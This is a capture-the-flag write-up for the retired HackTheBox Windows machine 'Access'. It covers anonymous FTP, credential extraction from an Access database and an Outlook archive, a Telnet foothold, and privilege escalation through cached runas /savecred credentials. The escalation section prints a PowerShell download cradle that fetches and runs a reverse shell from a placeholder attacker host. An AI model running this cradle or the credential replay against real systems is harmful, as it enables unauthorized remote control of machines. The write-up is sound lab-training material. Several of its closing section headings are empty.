~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / access.md

access

Windows · Easy · released 2018-09-29 · retired 2019-03-02

Summary

Access is a Windows Easy that teaches a clean three-stage credential chain: anonymous FTP exposes a Microsoft Access database, the database yields a password that unlocks a zip file containing an Outlook PST archive, and the PST holds an email with credentials for a Telnet session. The privilege escalation abuses Windows Credential Manager’s /savecred feature — an administrator password was previously cached by a shortcut on the Public Desktop, and any local user can replay it via runas /savecred to run commands as Administrator without knowing the password.

Kill-chain: FTP anonymous → backup.mdb → mdbtools extracts password from auth_user table → unlocks Access Control.zip → readpst reads Access Control.pst → email reveals security account password → Telnet foothold → cmdkey /list reveals cached Administrator credential → runas /savecred executes a Nishang PowerShell reverse shell as Administrator.

The box name is a double pun: the Microsoft Access database format is central to the foothold, and the theme throughout is gaining access via credentials that were left lying around in publicly-accessible locations.

Source attribution

Recon

nmap -sT -p- --min-rate 5000 -oA nmap/alltcp <TARGET>
nmap -sV -sC -p 21,23,80 -oA nmap/scripts <TARGET>

21/tcp  open  ftp      Microsoft FTP Service
23/tcp  open  telnet   Microsoft Telnet Service
80/tcp  open  http     Microsoft IIS httpd 7.5

IIS 7.5 fingerprints Windows 7 or Server 2008 R2. No SMB on 445 — this is not a domain-joined host. FTP and Telnet are the entry vectors; HTTP is a dead end (gobuster finds nothing actionable).

FTP enumeration

FTP allows anonymous login. The server accepts EPRT (active mode) for LIST but its PASV/EPSV reply lies (227 Entering Passive Mode (0,0,0,0,…) — IP 0.0.0.0), and the standard Linux ftp client refuses with “Passive mode address mismatch”, aborting binary downloads. curl --ftp-port - forces active mode and works on both the directory listing and the file fetches:

curl --ftp-port - -u anonymous:[email protected] 'ftp://<TARGET>/Backups/backup.mdb' -o backup.mdb
curl --ftp-port - -u anonymous:[email protected] 'ftp://<TARGET>/Engineer/Access%20Control.zip' -o 'Access Control.zip'

backup.mdb is a 5.6 MB Microsoft Access database file. Access Control.zip is a password-protected archive.

MDB extraction — auth_user credentials

The mdbtools suite reads Microsoft Access .mdb files on Linux without requiring a Windows host:

# List all non-empty tables
mdb-tables backup.mdb | tr ' ' '\n' | while read t; do
    [ $(mdb-export backup.mdb "$t" | wc -l) -gt 1 ] && echo "$t"
done

The auth_user table contains three accounts:

mdb-export backup.mdb auth_user

id,username,password,Status,...
25,"admin","admin",1,...
27,"engineer","access4u@security",1,...
28,"backup_admin","admin",1,...

The engineer account password doubles as the zip archive password.

PST extraction — Telnet credentials

Unzip with the discovered password:

7z x "Access Control.zip"

The archive contains Access Control.pst, an Outlook Personal Storage file. Convert and read it:

readpst "Access Control.pst"
mutt -Rf "Access Control.mbox"

The mailbox contains a single email from [email protected] stating that the password for the security account has been changed. This yields credentials for the security Windows account.

Foothold — Telnet as security

telnet <TARGET>
# login: security  password: <from email>

Welcome to Microsoft Telnet Service
C:\Users\security>whoami
access\security

user.txt is at C:\Users\security\Desktop\user.txt.

Privilege escalation — cmdkey / runas /savecred

Check cached Windows credentials:

cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
    Type: Domain Password
    User: ACCESS\Administrator

The Administrator credential is cached in Windows Credential Manager. Inspect the Public Desktop to understand how it got there:

C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk

This shortcut invokes runas.exe /user:ACCESS\Administrator /savecred "...". When the Administrator previously used this shortcut, Windows Credential Manager stored the password. The /savecred flag tells runas to read the stored credential rather than prompting — and any local user can invoke it to run commands as Administrator without knowing the password.

If you only need the flag, skip the reverse-shell entirely — runas already executes commands as Administrator, so just have it type the flag into a directory the security Telnet session can read:

runas /user:ACCESS\Administrator /savecred "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\r.txt"
type C:\Users\Public\r.txt

If you want the interactive shell, the same trick with a download cradle works (Telnet doesn’t need a TTY for the runas call):

runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://<ATTACKER>:8080/shell.ps1')"

In either case the spawned process runs as ACCESS\Administrator:

C:\Users\security>runas … "cmd /c whoami > C:\Users\Public\who.txt"
C:\Users\security>type C:\Users\Public\who.txt
access\administrator

root.txt is at C:\Users\Administrator\Desktop\root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗